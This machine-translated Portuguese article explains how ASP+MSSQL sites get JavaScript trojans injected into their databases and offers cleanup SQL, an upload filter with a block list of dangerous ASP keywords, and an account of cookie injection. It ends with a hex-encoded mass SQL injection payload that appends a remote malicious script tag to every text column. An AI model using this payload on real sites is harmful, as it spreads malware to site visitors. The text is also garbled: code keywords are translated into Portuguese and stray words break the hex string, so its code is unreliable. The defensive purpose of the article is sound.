Hoje em dia, muitos sites projetados com ASP+MSSQL podem ter passado pela experiência de ter seus bancos de dados SQL inseridos em Trojans JS por hackers. Não, o site de um amigo foi enganado por hackers;
Cada varchar e campo de texto do mssql é inserido automaticamente em um trecho de código js. Mesmo que esse trecho de código seja excluído, se não for resolvido a partir da fonte, o código js será automaticamente inserido no banco de dados em alguns minutos.
Após a observação de Piao Yi, é provável que isso seja executado automaticamente pelo programa. O hacker primeiro procura sites vulneráveis projetados com asp + mssql em mecanismos de pesquisa como Google e Baidu e, em seguida, usa ferramentas de verificação de injeção como Xiao Mingzi para verificar o todo. website , assim que uma vulnerabilidade de injeção de SQL for descoberta ou carregada. Se houver vulnerabilidades, os hackers usam vários meios para carregar seus próprios cavalos de Tróia, como os cavalos de Tróia Haiyang, então os hackers incluem este site em sua lista de frangos e adicionam os códigos js que desejam adicionar ao banco de dados a qualquer momento; os códigos costumam conter vários vírus e cavalos de Troia, que acabam envenenando os computadores dos usuários que visitam sites controlados.
Embora você possa realizar a substituição em lote por meio do analisador de consulta SQL para resolver temporariamente o problema do código js inserido, se você não resolver fundamentalmente as vulnerabilidades de todo o site, incluindo permissões de segurança de programas e servidores, os hackers ainda poderão invadir seu site a qualquer momento. Banco de dados do site.
No analisador de consultas SQL, você pode executar o seguinte código para substituir o código js em lotes:
Copie o código do código da seguinte forma:
"atualizar nome da tabela definir nome do campo = substituir (nome do campo,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn verificou cuidadosamente o site e encontrou vários problemas de segurança:
Primeiro, o site tem uma vulnerabilidade de upload; embora o upload de arquivos exija autenticação do administrador e autenticação do formato de arquivo dos arquivos carregados, a autenticação do administrador usa cookies, e os cookies podem ser forjados e, se carregados, Se você não fizer nenhum julgamento sobre o conteúdo do arquivo depois de tirar a foto, é provável que o Trojan da imagem seja carregado.
Soluções: 1 Exclua a função de upload de arquivo (não é prático); 2 Modifique a verificação do usuário de upload para verificação de sessão; 3 Verifique o conteúdo do arquivo carregado e exclua-o se for um Trojan de imagem, você pode consultar o seguinte código de verificação; :
Copie o código do código da seguinte forma:
''================ Determine se o arquivo enviado contém uma string ilegal start=================
definir MeuArquivo = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Ler arquivo de texto
sTextAll = lcase(MeuTexto.ReadAll)
MeuTexto.fechar
definir MeuArquivo = nada
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|idioma="
sNoString = divisão(sStr,"|")
para i=0 para ubound(sNoString)
se instr(sTextAll,sNoString(i)) então
definir filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
definir filedel = nada
Response.Write("<script>alert('Há um problema com o arquivo que você enviou, o upload falhou!');history.back();</script>")
Resposta.Fim
terminar se
próximo
''================== Determine se o arquivo enviado contém string ilegal end====================
Em segundo lugar, o site possui uma vulnerabilidade de injeção de cookies. Devido ao design do programa, para reduzir a sobrecarga do servidor, todos os usuários utilizam cookies para autenticação após o login. Este cookie armazena o ID e o NOME do usuário. Como todos sabemos, os cookies são frequentemente forjados por hackers. além disso, alguns parâmetros externos não usam request.form e request.querystring estritos para obter conteúdo. Para simplificar, request("id") é usado.
Sabemos que a solicitação do ASP obtém primeiro o conteúdo do formulário e da string de consulta. Se esses dois estiverem vazios, o conteúdo deve ser obtido dos cookies. Portanto, request.form. e request.querystring geralmente são filtrados para injeção de sql, mas esquecem de filtrar a injeção no modo cookie; Vamos dar uma olhada na seguinte instrução SQL:
Copie o código do código da seguinte forma:
SQL="selecione * do nome da tabela whereid")
Se esse id obtiver o valor por meio de cookies, pense bem, que coisa terrível é isso! O injetor pode facilmente falsificar um cookie falso chamado id porque o cookie com esse id é atribuído a ele pelo servidor. Este cookie pode ser forjado em um trecho de código semelhante ao seguinte:
Copie o código do código da seguinte forma:
declaraRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 Rede de talentos de TI () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--